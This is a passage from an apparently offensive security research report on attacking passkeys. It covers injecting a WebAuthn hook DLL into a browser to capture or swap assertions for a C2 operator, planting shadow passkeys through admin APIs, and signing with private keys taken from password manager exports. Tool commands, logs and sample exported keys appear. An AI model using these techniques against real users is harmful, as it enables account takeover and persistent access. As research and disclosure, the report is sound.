{49}------------------------------------------------ ![Screenshot of the Passkey Injector tool showing a browser interface with a sidebar menu and a bookmark list.](01712d1aeaf42b2237e90a7cb423fe99_img.jpg) A screenshot of the 'SpecterOps Passkey Injector' application.The interface is dark-themed.On the left is a sidebar menu with options:'Bookmarks', 'Request Tokens', 'Developer Tools', and 'Clear Browsing Data'.The 'Bookmarks' option is selected, opening a submenu that lists various Microsoft services:'Microsoft Teams', 'Microsoft Edge', 'Microsoft Graph Command Line Tools', 'Microsoft Azure PowerShell', 'Microsoft Azure CLI', 'Microsoft Intune Company Portal', 'Office 365 Management', 'Microsoft Office', and 'OneDrive'.The main content area is a dark, empty space with a URL bar at the top showing 'https/'. Screenshot of the Passkey Injector tool showing a browser interface with a sidebar menu and a bookmark list. **Figure 25:** Passkey Injector OpenID Connect Authorization Request After a successful authentication, which may or may not involve a passkey, the resulting access, refresh, and ID tokens are displayed in the UI. We did not want to limit this functionality to injected WebAuthn assertions only.The [Passkey Injector](#) tool can therefore invoke the built-in passkey authentication prompt as well. {50}------------------------------------------------ ![Screenshot of a 'Token Response for Microsoft Office' window showing JSON tokens and buttons to copy access, refresh, and ID tokens.](ea6ece883b48a4d2836837ec994657f0_img.jpg) A screenshot of a web application window titled "Token Response for Microsoft Office".The main content area displays a JSON object containing OpenID Connect tokens.The tokens include:"token\_type":"Bearer", "scope":"email openid profile Auditlog.Create Calendar.ReadWrite Calendars.Read Shared Calendars.ReadWrite", "expires\_in":4595, "ext\_expires\_in":4595, "access\_token":"eyJ0eXAiOiJKV1QlCJub25jZSI6I19vWEoyOX1saC1jQm9MS1W0Uc2WkhMeXRpLWtFOE1JZV5bmRQNEp5TDgiLC", "refresh\_token":"1.ARwAGWgJJ9X2qk0UDNMw4dUNg9YOwd0zUgJBrv-q0IkqsBz0AMkcAA.BQABAwEAAAADA0z\_BQ00\_-SggWeqGeI", "foci":"1", and "id\_token":"eyJ0eXAiOiJKV1QlCJhbGc1OjSUzI1NiIsImpZCI6I1BjWDk4R1g0MjBUMVg2c0JEa3poUW1xZ3dNVSJ9.eyJhdWQi".Below the JSON, there are three buttons:"Copy Access Token", "Copy Refresh Token", and "Copy ID Token". Screenshot of a 'Token Response for Microsoft Office' window showing JSON tokens and buttons to copy access, refresh, and ID tokens. Figure 26:Passkey Injector OpenID Connect Token Response ![Screenshot of a Microsoft login page with a 'Sign in with a passkey' dialog box overlay, showing fingerprint authentication options.](bebe65ef8ea9339b31ce658a917d77a3_img.jpg) A screenshot of a Microsoft login page in a web browser.The browser's address bar shows "https://login.microsoft.com/common/fido/get?uiflavor=Web".The main page content is a Microsoft login screen with the text "Face, fingerprint, PIN or passkey" and "Your device will open a security window with instructions there to sign in." A "Back" button is visible.Overlaid on the right side is a "Windows Security" dialog box titled "Sign in with a passkey".It shows the user "satya@microsoft.com" and "Passkey for login.microsoft.com".Below this is a fingerprint icon and the instruction "Scan your finger on the fingerprint reader." with a "Sign-in options" link.At the bottom of the dialog, there is a "Choose a different passkey" link and a "Cancel" button. Screenshot of a Microsoft login page with a 'Sign in with a passkey' dialog box overlay, showing fingerprint authentication options. Figure 27:Built-In WebAuthn Prompt Fallback {51}------------------------------------------------ ## 3.11 Passkey Detour Attack ### 3.11.1 Overview Another way to obtain a valid assertion is to hijack the passkey ceremony in real time by hooking into the WebAuthn API calls.As our PoC implementation uses the [Microsoft Detours](#) framework to intercept these calls, we call this the *Passkey Detour Attack*. The attack starts by injecting the [WebAuthn Hook](#) DLL into a web browser process, either with the [SharpPasskeys](#) tool or with capabilities provided by the C2 framework being used, such as a dedicated BOF.The hook DLL then intercepts the `WebAuthNAuthenticatorGetAssertion Win32` API calls, allowing the operator to reroute — *detour* — the passkey ceremony away from the browser that initiated it.We implemented three modes of operation, depending on whether the operator wants to steal the victim's assertion, substitute their own challenge, or do both while keeping the victim's session alive.The hook always communicates with the SharpPasskeys C2 agent over the `\\.\pipe\WebAuthnHook` named pipe. ### 3.11.2 Capture Mode ![A flow diagram illustrating the Passkey Detour Attack in Capture Mode.It shows the interaction between a Web Browser (msedge.exe), a Relying Party (login.microsoft.com), a C2 Agent (SharpPasskeys.exe), and an Operator (PasskeyInjector.exe).The process involves 10 steps:1.Challenge from Relying Party to Browser; 2.Challenge from Browser to WIN32 API Hook; 3.Challenge from WIN32 API Hook to WebAuthNAuthenticatorGetAssertion(); 4.Sign challenge from WebAuthNAuthenticatorGetAssertion() to Windows Passkey UI; 5.Assertion from WebAuthNAuthenticatorGetAssertion() to WIN32 API Hook; 6.Assertion from WIN32 API Hook to C2 Agent; 7.Assertion from C2 Agent to Operator; 8.Assertion from Operator to Relying Party; 9.OpenID Connect Access token from Relying Party to Operator; 10.Error (Timeout) from WIN32 API Hook back to Browser.](adc59ed6840bcb2d392ea323abfccedc_img.jpg) ``` graph TD; RP([Relying Party (login.microsoft.com)]) -- "1.Challenge" --> WB[Web Browser (msedge.exe)]; subgraph WB; NB[navigator.credentials.get() (JavaScript)]; WBH[WIN32 API Hook (WebAuthnHook.dll)]; WANA[WebAuthNAuthenticatorGetAssertion() (webauthn.dll)]; WBH -- "2.Challenge" --> WANA; WANA -- "3.Challenge" --> WUI[Windows Passkey UI (CredentialUIBroker.exe)]; WANA -- "5.Assertion" --> WBH; WBH -- "6.Assertion" --> CA[C2 Agent (SharpPasskeys.exe)]; CA -- "7.Assertion" --> OP[Operator (PasskeyInjector.exe)]; OP -- "8.Assertion" --> RP; RP -- "9.OpenID Connect Access token" --> OP; WBH -.->|10.Error (Timeout)| NB; end ``` A flow diagram illustrating the Passkey Detour Attack in Capture Mode.It shows the interaction between a Web Browser (msedge.exe), a Relying Party (login.microsoft.com), a C2 Agent (SharpPasskeys.exe), and an Operator (PasskeyInjector.exe).The process involves 10 steps:1.Challenge from Relying Party to Browser; 2.Challenge from Browser to WIN32 API Hook; 3.Challenge from WIN32 API Hook to WebAuthNAuthenticatorGetAssertion(); 4.Sign challenge from WebAuthNAuthenticatorGetAssertion() to Windows Passkey UI; 5.Assertion from WebAuthNAuthenticatorGetAssertion() to WIN32 API Hook; 6.Assertion from WIN32 API Hook to C2 Agent; 7.Assertion from C2 Agent to Operator; 8.Assertion from Operator to Relying Party; 9.OpenID Connect Access token from Relying Party to Operator; 10.Error (Timeout) from WIN32 API Hook back to Browser. Figure 28:Passkey Detour Attack:Capture Mode {52}------------------------------------------------ In Capture Mode, the victim performs what looks like a perfectly normal sign-in:the relying party issues a challenge, the page passes it to the WebAuthn API, and Windows prompts the user to confirm with Windows Hello or a security key.The hook lets the ceremony complete, but instead of returning the signed assertion to the browser, it pipes it out through [SharpPasskeys](#) to the C2 operator.The browser is then handed a timeout error, so from the victim's perspective the login simply failed and may be retried. ### 3.11.3 Inject Mode ![A sequence diagram illustrating the Passkey Detour Attack in Inject Mode.The diagram shows interactions between a Relying Party (login.microsoft.com), a Web Browser (msedge.exe), a WIN32 API Hook (WebAuthnHook.dll), a C2 Agent (SharpPasskeys.exe), an Operator (PasskeyInjector.exe), and Windows Passkey UI (CredentialUIBroker.exe).The flow is numbered 1-13, showing how the hook intercepts challenges, signs them with the operator's challenge, and returns a timeout error to the browser while sending the assertion to the operator.](bccc028d0e75bc30c41528056f581545_img.jpg) ``` sequenceDiagram participant RP as Relying Party (login.microsoft.com) participant WB as Web Browser (msedge.exe) participant H as WIN32 API Hook (WebAuthnHook.dll) participant C2 as C2 Agent (SharpPasskeys.exe) participant OP as Operator (PasskeyInjector.exe) participant WUI as Windows Passkey UI (CredentialUIBroker.exe) RP-->>WB:1.Challenge WB->>H:2.Challenge H-->>WB:13.Error (Timeout) WB->>H:6.Challenge H->>C2:8.Assertion H->>WB:5.Challenge H->>C2:9.Assertion C2->>OP:10.Assertion C2->>WB:4.Challenge OP->>WB:3.Challenge OP->>RP:12.OpenID Connect Access token RP-->>OP:11.Assertion OP->>WUI:7.Sign challenge ``` A sequence diagram illustrating the Passkey Detour Attack in Inject Mode.The diagram shows interactions between a Relying Party (login.microsoft.com), a Web Browser (msedge.exe), a WIN32 API Hook (WebAuthnHook.dll), a C2 Agent (SharpPasskeys.exe), an Operator (PasskeyInjector.exe), and Windows Passkey UI (CredentialUIBroker.exe).The flow is numbered 1-13, showing how the hook intercepts challenges, signs them with the operator's challenge, and returns a timeout error to the browser while sending the assertion to the operator. Figure 29:Passkey Detour Attack:Inject Mode Inject Mode reverses the direction of the flow and is intended to be used with relying parties that bind each challenge to a session cookie.Here, the operator drives the authentication by starting their own session with the relying party and obtaining a challenge.The hook discards the challenge the browser supplied and replaces it with the operator's before calling into `webauthn.dll`.The victim still sees an ordinary passkey prompt and approves it, but the resulting assertion corresponds to the operator's challenge.That assertion is piped back to the operator, while the browser again receives a timeout. {53}------------------------------------------------ ### 3.11.4 Replay Mode ![A flowchart illustrating the Passkey Detour Attack in Replay Mode.It shows the interaction between a Relying Party (login.microsoft.com), a Web Browser (msedge.exe), a WebAuthN Authenticator, a C2 Agent (SharpPasskeys.exe), and an Operator (PasskeyInjector.exe).The process involves challenges and assertions between these components, with a hook intercepting and modifying the flow to replay a challenge.](0a73b03fba21af142d619a9a662e6490_img.jpg) The diagram illustrates the Passkey Detour Attack in Replay Mode.It shows the interaction between several components: - Relying Party (login.microsoft.com)**:Initiates the process with a challenge (1) and receives an assertion (11) and an OpenID Connect Access token (12).- Web Browser (msedge.exe)**:Contains a `navigator.credentials.get()` (JavaScript) call.It receives a challenge (2) from the Relying Party and sends an assertion (10) back.It also contains a **WIN32 API Hook (WebAuthnHook.dll)** which intercepts the `WebAuthNAuthenticatorGetAssertion()` call from the **WebAuthN Authenticator (webauthn.dll)**.The hook sends a challenge (3) to the authenticator and receives an assertion (5).The hook also sends an assertion (6) to the **C2 Agent (SharpPasskeys.exe)**.- WebAuthN Authenticator (webauthn.dll)**:Receives a challenge (3) from the hook and sends an assertion (5) back.- C2 Agent (SharpPasskeys.exe)**:Receives an assertion (6) from the hook and sends an assertion (7) to the **Operator (PasskeyInjector.exe)**.- Operator (PasskeyInjector.exe)**:Receives an assertion (7) from the C2 Agent and sends an assertion (8) back to the Relying Party.It also receives an OpenID Connect Access token (9) from the Relying Party.- Windows Passkey UI (CredentialUIBroker.exe)**:Receives a sign challenge (4) from the WebAuthN Authenticator. The flow is as follows:1.Relying Party sends a challenge to the browser.2.Browser sends a challenge to the authenticator.3.Hook sends a challenge to the authenticator.4.Authenticator signs the challenge.5.Hook receives an assertion from the authenticator.6.Hook sends an assertion to the C2 Agent.7.C2 Agent sends an assertion to the Operator.8.Operator sends an assertion back to the Relying Party.9.Relying Party sends an OpenID Connect Access token to the Operator.10.Browser sends an assertion to the Relying Party.11.Relying Party sends an assertion to the browser.12.Browser sends an OpenID Connect Access token to the Relying Party. A flowchart illustrating the Passkey Detour Attack in Replay Mode.It shows the interaction between a Relying Party (login.microsoft.com), a Web Browser (msedge.exe), a WebAuthN Authenticator, a C2 Agent (SharpPasskeys.exe), and an Operator (PasskeyInjector.exe).The process involves challenges and assertions between these components, with a hook intercepting and modifying the flow to replay a challenge. Figure 30:Passkey Detour Attack:Replay Mode Replay Mode is a variation of Capture Mode.The difference is the final step:rather than returning a timeout to the browser, the hook returns the genuine assertion and lets the user's login complete normally.Both the operator and the victim end up authenticated from the same assertion response. This mode only works against relying parties that fail to enforce single-use challenges or signature counter regression, as described in the [Passkey Replay Attack](#) section. ### 3.11.5 Attack Execution The attack would start by injecting the malicious DLL into a running browser process: ``` SharpPasskeys.exe hook attach ``` ``` 12:34:10 info:Passkeys[0] Injected WebAuthnHook_x64.dll into msedge (pid 11804).``` When executing the attack in Capture Mode, the hook will wait for the next assertion ceremony to start, interrupt the authentication process, and return the signed assertion: {54}------------------------------------------------ ``` SharpPasskeys.exe hook wait --capture --rpid login.microsoft.com ``` ``` 12:34:56 info:Passkeys[0] Listening on\\.\pipe\WebAuthnHook for hook assertion responses (timeout:600s)...12:35:02 info:Passkeys[0] Assertion ceremony started:rpid=login.microsoft.com previousAction=(none) process=msedge (pid 11804) user=CONTOSO\alice at 5/30/2026 12:35:02 PM.12:35:02 info:Passkeys[0] Sending hook action Capture to pipe client.12:35:08 info:Passkeys[0] Assertion ceremony completed:rpid=login.microsoft.com process=msedge (pid 11804) user=CONTOSO\alice previousAction=Capture at 5/30/2026 12:35:08 PM.{"id":"5B4QTDkm-0C0nJk7KAsUa7d3r914aq5H-eVChLSSejM","rawId":"...","type":"public-key", "response":{"authenticatorData":"...","clientDataJSON":"...","signature":"...","userHandle":"..."/> ``` Finally, the captured assertion JSON could be relayed by the [Passkey Injector](#) tool. ## 3.12 Shadow Passkey Attack ### 3.12.1 Overview Relying parties that support passkeys typically allow **self-service registration**:during new user onboarding or at any time afterward, the end user enrolls their own authenticator.Several enterprise identity platforms, however, additionally support **administrative registration**, where an administrator enrolls passkeys *on behalf* of other users.There is an important use case for this capability:a company onboarding remote employees can mail them pre-registered FIDO2 security keys, each with a random PIN that the new hire is required to change after first use.Because the keys are already bound to the employee's account, they can be used immediately to sign in to Windows, a cloud service, or a VPN with passkey authentication. However, the same capability could also be abused by malicious actors.An adversary with sufficient privileges can call the very same registration API to plant a backdoor:a persistent passkey enrolled against a high-value account — a **shadow passkey**.Because the passkey is an independent authentication factor, it keeps working even after the legitimate user changes their password; the attacker retains access until the rogue passkey is noticed and removed from the account.Some cloud platforms therefore send email notifications to target users when a new passkey is registered, but these alerts may be ignored or lost in the noise of other messages. ### 3.12.2 Attack Execution The [DSInternals.Passkeys](#) PowerShell module supports administrative registration for Microsoft Entra ID through the [Microsoft Graph API](#), and for Okta through the [Okta WebAuthn Preregistration API](#).The module was not written for malicious purposes:its goal is to demonstrate the capability and to let smaller organizations quickly provision passkeys for their employees.But the APIs it relies on are the same ones an attacker would abuse to establish passkey persistence. {55}------------------------------------------------ To register passkeys for other users, Microsoft Entra ID requires either the [UserAuthenticationMethod.ReadWrite.All](#) or [UserAuthMethod-Passkey.ReadWrite.All](#) Microsoft Graph permission, while Okta requires the [okta.users.manage](#) Okta Management API permission. ![Screenshot of a PowerShell terminal and a Windows Security dialog box for passkey registration.](ea6563b73e02632c2c18be3a3a3f00ef_img.jpg) A screenshot showing a PowerShell terminal window and a Windows Security dialog box.The PowerShell window has two tabs open:'Connect-MgGraph' and 'Register-Passkey'.The 'Register-Passkey' tab is active, showing the command 'Register-Passkey -UserId AdeleV@dev.dsiinternals.com -DisplayName 'YubiKey C Bio Primary''.Overlaid on the terminal is a 'Windows Security' dialog box titled 'Choose where to save this passkey'.The dialog presents three options:'Security key' (with a security key icon), 'More choices', and 'iPhone, iPad, or Android device' (with a mobile device icon).The 'Security key' option is selected, highlighted with a blue background.At the bottom of the dialog are 'Next' and 'Cancel' buttons. Screenshot of a PowerShell terminal and a Windows Security dialog box for passkey registration. Figure 31:Entra ID Administrative Passkey Registration with DSInternals.Passkeys ## 3.13 Attacking Software Authenticators ### 3.13.1 Synced Passkeys Passkeys come in two flavors.**Device-bound passkeys** are generated and held by a single authenticator — a FIDO2 security key or a laptop with TPM-backed Windows Hello — and the private key never leaves that hardware.**Synced passkeys** are managed by password managers that copy the private keys to a cloud vault so the same credential can be used across a user’s phone, tablet, and laptop. {56}------------------------------------------------ ![Diagram comparing Synced Passkey and Device-bound Passkey.The Synced Passkey side shows a cloud icon connected to a smartphone, tablet, laptop, and desktop monitor, all containing user icons.The Device-bound Passkey side shows a central smartphone with a passkey icon connected to a laptop, desktop monitor, and another smartphone, all marked with green checkmarks.](255efa1d461fc79b4ed367aaec11637f_img.jpg) **Synced Passkey** Lives on a smartphone, tablet, laptop or other device where it can be copied and synced across many devices. **Device-bound Passkey** Lives on a USB key or other piece of hardware separate from everyday devices. Diagram comparing Synced Passkey and Device-bound Passkey.The Synced Passkey side shows a cloud icon connected to a smartphone, tablet, laptop, and desktop monitor, all containing user icons.The Device-bound Passkey side shows a central smartphone with a passkey icon connected to a laptop, desktop monitor, and another smartphone, all marked with green checkmarks. **Figure 32:** Synced vs.Device-Bound Passkeys³ This convenience comes at a cost.A synced passkey is, by definition, **inherently less secure than a device-bound one**:the private key exists in more than one place, it passes through and rests in a cloud service, and its security ultimately depends on the strength of the user’s account credentials and the sync provider’s infrastructure rather than on tamper-resistant hardware.This inverts the usual security promise:a phishing-resistant credential ends up bootstrapped from — and only as strong as — the phishable password (and whatever second factor) that guards the cloud vault.The provider becomes part of the trust boundary, and anyone who compromises the vault can obtain a working copy of the key.Vendors have invested heavily in protecting this path:Microsoft, for example, layers a managed HSM and confidential computing behind passkey sync in the Microsoft Password Manager.[5] These server-side protections, however, are not where most of the risk lies:the majority of attacks we are aware of target the client-side applications instead, which necessarily hold copies of private keys on the computer or phone and may expose them through export formats, as shown in the following sections. ³Source:[What is a Passkey?](#) (Yubico). {57}------------------------------------------------ ![Microsoft Password Manager Passkey Sync Architecture diagram showing the interaction between Edge Passkey Service, Edge Sync Service, and Client Devices.](3c99312f83459559d9a301148555d7b9_img.jpg) The diagram illustrates the Microsoft Password Manager Passkey Sync Architecture.It is structured as follows: - Edge Passkey Service** (indicated by a dashed border): - Managed HSM** (Hardware protected keys) - represented by a shield icon. - Confidential Ledger** (Tamper-Evident Storage) - represented by a ledger icon. - Confidential Compute** (Secure Processing & Recovery) - represented by a cloud icon.- Edge Sync Service** (Sync Encrypted Passkeys) - represented by a sync icon, located below the Edge Passkey Service.- Client Devices** (Biometrics/PIN & Device bound Keys) - represented by a laptop and smartphone icon, located at the bottom. Interactions are shown with double-headed arrows: - A vertical double-headed arrow connects the **Edge Passkey Service** and **Client Devices**.- A vertical double-headed arrow connects the **Edge Sync Service** and **Client Devices**. Microsoft Password Manager Passkey Sync Architecture diagram showing the interaction between Edge Passkey Service, Edge Sync Service, and Client Devices. **Figure 33:** Microsoft Password Manager Passkey Sync Architecture⁴ Even so, synced passkeys remain considerably **more convenient to use than roaming security keys**:there is no physical token to carry, lose, or re-enroll, and recovery after losing a device is a matter of signing back into the vault.For regular users and non-security-critical scenarios, that trade-off is usually acceptable, and synced passkeys are a major improvement over passwords.For high-value, security-critical accounts — an Entra ID Global Administrator being the canonical example — the calculus is different:the additional exposure of a synced key is rarely worth the convenience, and a device-bound authenticator should be preferred. ⁴Source:[Engineering secure passkey sync in Microsoft Password Manager](#) by Kamaraj Gandhirajan (Microsoft Edge Dev Blog).[5] {58}------------------------------------------------ ### 3.13.2 KeePassXC KeePassXC lets users export their passkeys to JSON files, one passkey per file, each saved with the `.passkey` extension.The passkeys inside these files are stored in cleartext.KeePassXC's own developers are well aware of the risk this poses:the export dialog explicitly warns that the operation is dangerous and that the resulting files must be handled with great care. ![Screenshot of the KeePassXC application interface showing a passkey export confirmation dialog box.](622c73bef0a6f1d78b4e26829e0916ea_img.jpg) The image is a screenshot of the KeePassXC application.The main window shows a table of passkeys.The table has columns:Title, Path, Username, Relying Party, and URLs.There is one entry:Title is 'webauthn.io (Passkey)', Path is 'Root/KeePassXC-Browser Passkeys', Username is 'john@webauthn.io', Relying Party is 'webauthn.io', and URLs are 'https://webauthn.io' and 'webauthn.io'.A dialog box titled 'Export Confirmation' is open in the foreground.It contains a question mark icon and the text:'The passkey file will be vulnerable to theft and unauthorized use, if left unsecured.Are you sure you want to continue?'.There are 'Yes' and 'No' buttons.The 'No' button is highlighted in green.At the bottom of the main window, there are 'Import' and 'Export' buttons, and a 'Close' button on the right.The left sidebar has icons for Statistics, Health Check, Passkeys, and Browser Statistics.The top menu bar includes Database, Entries, Groups, Tools, View, and Help. Screenshot of the KeePassXC application interface showing a passkey export confirmation dialog box. Figure 34:KeePassXC Passkey Export Warning A single exported `.passkey` file looks like this: ``` { "credentialId":"UvzXcJrg2HqVBmDnS0pJ6jq4uxFCRFtF1VIGpU75U_A", "privateKey":"-----BEGIN PRIVATE KEY----- MC4CAQAwBQYDK2VwBCIEIBd4oRR3vT0WnwSbKdeHy9OZATL4WHRyVt7KgDdiuf1L -----END PRIVATE KEY-----", "relyingParty":"webauthn.io", "url":"https://webauthn.io", "userHandle":"d2ViYXV0aG5pby1qb2huQHd1YmF1dGhuLmlv", "username":"john@webauthn.io" } ``` The **Passkey Injector** fully supports the files produced by KeePassXC.A malicious actor who obtains one can load it directly into the tool, sign assertions with the contained private key, and authenticate as the victim — no access to the original KeePassXC database or its master password is required. {59}------------------------------------------------ ### 3.13.3 Bitwarden Bitwarden supports several export formats, but only its JSON export includes passkeys. ![Screenshot of the Bitwarden Vault Export dialog box.](0a5522d9c1398748791835a7d6e5feee_img.jpg) A screenshot of the Bitwarden web interface showing the 'Export' dialog box.The dialog is titled 'Export' and has a close button (X) in the top right.Inside the dialog, there is an information box titled 'Exporting individual vault' with text explaining that only individual vault items for the user 'michael.grafnetter@outlook.com' will be exported.Below this, 'File format (required)' is set to '.json (Encrypted)'.Under 'Export type', there are two options:'Account restricted' (unselected) and 'Password protected' (selected).The 'Password protected' option has a description:'Set a file password to encrypt the export and import it to any Bitwarden account using the password for decryption.' A 'File password (required)' field contains a masked password, with icons for showing, regenerating, and copying.A green 'Strong' indicator bar is visible below the password field.A 'Confirm file password (required)' field with a masked password and an eye icon follows.At the bottom are 'Export' and 'Cancel' buttons.The background shows the Bitwarden sidebar with 'My vault' selected. Screenshot of the Bitwarden Vault Export dialog box. Figure 35:Bitwarden Vault Export Bitwarden offers three options when exporting the vault: - 1.**Unencrypted JSON** — the least secure option, and the default.The passkeys are written in cleartext: ``` { "passwordHistory":[], "revisionDate":"2026-04-21T14:03:33.030Z", "creationDate":"2026-04-21T14:03:32.740Z", "id":"417ab60b-f44c-45f4-a7b1-b43300e7afd3", "type":1, "reprompt":0, "name":"webauthn.io", "notes":null, "favorite":false, "fields":[], "login":{ "uris":[ { ``` {60}------------------------------------------------ ``` "uri":"https://webauthn.io/" } ], "fido2Credentials":[ { "credentialId":"76c3b5c8-d880-46e6-9f57-ced060607557", "keyType":"public-key", "keyAlgorithm":"ECDSA", "keyCurve":"P-256", "keyValue":"MIGHAgEAMBMGByqGSM49AgEGCCqGSM49AwEHBGOwawIBAQggWpHh_vUiMxLNSAK 5nGfFSzz3n3pR5MBee_lFayn9xKhRANCAAQkDGs8XpcxjYfUcQ0KTbyDaEFFKTW4pa0-PRdLUATZW s1yz0E9ie4Jiv6QDGuercEnbKhztfn42k03bWWni9f9", "rpId":"webauthn.io", "userHandle":"cnEzaNHwCYK3coWZjvoaV1Hj9gnI12mKe2dL2HZVFLY", "userName":"john doe", "counter":"3", "rpName":"webauthn.io", "userDisplayName":"John Doe", "discoverable":"true", "creationDate":"2026-04-21T14:03:33.011Z" } ], "username":"john doe", "password":null, "totp":null }, "collectionIds":null } ``` 2.**Password-protected JSON** — encrypted with a user-chosen password.Here is a redacted example of the format: ``` { "encrypted":true, "passwordProtected":true, "salt":"YtFRy/MYEC/CGssWSk/zaA==", "kdfType":0, "kdfIterations":100000, "encKeyValidation_DO_NOT_EDIT":"2.w1ETHtQ1PjVuTAbc4bBowA==|tebqSYsxHKBB8mhyZWwVN/z1E573mWEfmKIyTxruUmF0x09I9aznTMz8qPs4zh5H|j4HsZ/nvx1K4otZ4G1FR2iCZ4WQyqyAIhgbzFF WSuS4=", "data":"2.R/CMPCRscUj6kdtv9GgkVg==|04MP...GGBRQ==|VpknXBXekM6DvM1...MDuEdShEyOQLA=" } ``` 3.**Account-restricted export** — encrypted against the user's Bitwarden account so that it can only be re-imported into that same account. The [Passkey Injector](#) supports the first two formats.When a password-protected export is loaded, the tool prompts for the decryption password.The account-restricted format is not supported.Because a Bitwarden export can hold multiple passkeys, the tool also asks which one to use, listing only the passkeys whose relying party matches the target website. {61}------------------------------------------------ It is easy to imagine malware that scans the drives of compromised computers for these exported JSON files and exfiltrates them. ### 3.13.4 Credential Exchange Format (CXF) The [Credential Exchange Format$CXF$](#) is an emerging standard developed by the FIDO Alliance together with password manager vendors to allow credentials to be moved between managers.The specification is currently published as a Proposed Standard, and only a handful of password managers support it today; over time, industry-wide support is expected.[6] Like the Bitwarden JSON export, a CXF file is a single JSON document that can hold many credentials — passwords and passkeys alike — for a given user.CXF defines the credential payload rather than an encrypted at-rest container; the specification instead requires the exporting provider or orchestrator to protect the transfer.If malware obtains a CXF payload outside that protected exchange, the passkey material in the JSON document is exposed:[6] ``` { "id":"8DPaLQiwSc-7n9bHKrQYTv", "creationAt":1705142400, "modifiedAt":1705228800, "title":"WebAuthn.io", "subtitle":"janesmith", "credentials":[ { "type":"passkey", "credentialId":"amFuZUNyZWRLbnRpYWxJZA", "rpId":"webauthn.io", "username":"janesmith", "userDisplayName":"Jane Smith", "userHandle":"amFuZVNtaXRoVXNlc2hhbmRsZQ", "key":"MIGHAgEAMBMGByqGSM49AgEGCCqGSM49AwEHBGOwawIBAQQgie0HaQEcuWmyYJDNKdPMd2yq3 TH59xe_Ry6TA62ElcWhRANCAASW2KmRZiL3VOYsSF1qewZxrhQrs2HoTthHZmjSBVYyLkG-GD -BAThnZsehq_RzMyizr0QV30EzARsNMM0dRzd0" } ] } ``` The [Passkey Injector](#) tool supports the format and lets the operator pick a passkey from a CXF file when authenticating to a website that accepts passkeys. {62}------------------------------------------------ ### 3.13.5 Attack Execution As mentioned throughout the previous sections, the **Software Signer** is the component of the **Passkey Injector** responsible for loading passkeys from files and producing assertion signatures with them.It supports all of the formats described above — KeePassXC `.passkey` files, Bitwarden JSON exports, and CXF files — and, in the case of a password-protected Bitwarden export, prompts the operator for the decryption password. The signer implements the asymmetric algorithms used by real authenticators, including ECDSA, RSA, and EdDSA.Beyond simply signing, it lets the operator parameterize the resulting assertion: - **Signature counter.** By default, the counter is set to 0, matching the behavior of most software authenticators — unlike hardware authenticators, which increment the counter with every signature.Some relying parties do track counters and detect rollbacks, so the Software Signer allows the value to be overridden before signing when targeting such services.- **User verification (UV) and user presence (UP) flags.** These indicate, respectively, whether the user was verified (e.g., via PIN or biometrics) and whether the user’s presence was confirmed (e.g., by pressing a button on the authenticator or touching a fingerprint reader).Both flags are enabled by default, which is appropriate for most situations. ![Screenshot of the Software Signer application interface showing Signature Parameters and Credential Details.](fc351f8c1d5cd53ed2263ee16e5b10e7_img.jpg) The screenshot shows the 'Software Signer' application window.It is divided into two main sections:'Signature Parameters' and 'Credential Details'. Under 'Signature Parameters': - 'Passkey File':A text field containing 's-the-passkey\Samples\bitwarden\_encrypted\_export\_20260511125855.json' with a 'Browse...' button. - 'Passkey':A dropdown menu showing 'janesmith — jz5tVJohR7i9bvt-kQAtGA'. - 'Signature Counter':A text field with the value '6' and up/down arrow buttons.To its right are two checkboxes:'User Verification (UV)' and 'User Presence (UP)', both of which are checked. Under 'Credential Details': - 'Algorithm':A dropdown showing 'ECDSA'. - 'Key Type':A dropdown showing 'P-256'. - 'Key Length':A text field with '256'. - 'Hash':A dropdown showing 'SHA256'. - 'Credential ID':A text field with 'jz5tVJohR7i9bvt-kQAtGA'. - 'User Name':A text field with 'janesmith'. - 'User Handle':A text field with 'amFuZVNtaXRoVXNlckhhbmRsZQ'. At the bottom center is a blue 'Sign' button with a signature icon. Screenshot of the Software Signer application interface showing Signature Parameters and Credential Details. Figure 36:Software Signer Signature Parameters The Software Signer is a work in progress, and support for additional exported passkey formats will be added in the future. {63}------------------------------------------------ ## 3.14 Evil Authenticator Plugin Attack (Failed) Although Windows 11 supports third-party passkey authenticators via plugins, we have not identified any vulnerabilities in this area so far.We were also unable to use a custom authenticator plugin to intercept and manipulate passkey creation or authentication requests, as the Windows API only exposes `clientDataHash` instead of the full `clientDataJSON` to these plugins. ![Screenshot of Windows 11 Settings app showing Passkey Advanced options.](3e5d006b56c58ff8b0162bc94dbdab8e_img.jpg) A screenshot of the Windows 11 Settings app.The left sidebar shows the 'Accounts' section selected.The main pane displays 'Accounts > Passkeys > Advanced options'.Under 'Passkey managers', there are three entries:'100% Legit Passkey Manager' by SpecterOps, Inc.(with a blue key icon), '1Password' by AgileBits Inc.(with a blue '1' icon), and 'Save passkeys to this Windows device' (with a blue key icon).All three entries have an 'On' status with a blue toggle switch.A 'Get help' link is visible at the bottom left of the main pane. Screenshot of Windows 11 Settings app showing Passkey Advanced options. **Figure 37:** Windows Passkey Authenticator Plugins Nevertheless, developing our own passkey authenticator plugin in C# turned out to be an interesting exercise, as it involved implementing the [IPluginAuthenticator](#) COM interface (UUID:`d26bcf6f-b54c-43ff-9f06-d5bf148625f7`), exposing it through an out-of-process COM server, and registering it in Windows through an MSIX package.Needless to say, there is very little documentation available for this task. Due to the complexity of creating passkey authenticator plugins, existing third-party implementations, such as 1Password, Bitwarden, and KeePassXC, should be audited carefully to ensure they do not introduce unexpected vulnerabilities. {64}------------------------------------------------ ![Screenshot of the Windows Security 'Choose where to save your passkey' dialog box.](91adc884c2a1e14b3258c20f3bd85c3c_img.jpg) A screenshot of a Windows Security dialog box titled "Choose where to save your passkey".The dialog box is dark-themed and lists five options for saving a passkey:"100% Legit Passkey Manager" (with a blue key icon), "1Password" (with a blue 'i' icon), "This Windows device" (with a computer icon), "iPhone, iPad, or Android device" (with an icon of three devices), and "Security key" (with a key icon).A "Cancel" button is located at the bottom right of the dialog box. Screenshot of the Windows Security 'Choose where to save your passkey' dialog box. Figure 38:Authenticator Selection During Passkey Registration ## 3.15 User Verification Bypass Attack This attack — sometimes called a *silent passkey assertion* attack — is not one we discovered; it is a man-in-the-middle technique against WebAuthn that was [publicly demonstrated in 2020](#) and has since been fixed in implementations such as Microsoft Entra ID and Nextcloud.We include it for completeness, because our tooling can reproduce it for testing purposes.[7] The attack tampers with the assertion request in transit.A relying party issues an assertion request that requires user verification (UV) and user presence (UP).A man-in-the-middle adversary intercepts the request and clears the corresponding flags before relaying it over NFC to a security key in the victim's pocket that happens to be within the attacker's reach.With the verification and presence requirements stripped out, the authenticator signs the assertion silently, without any user 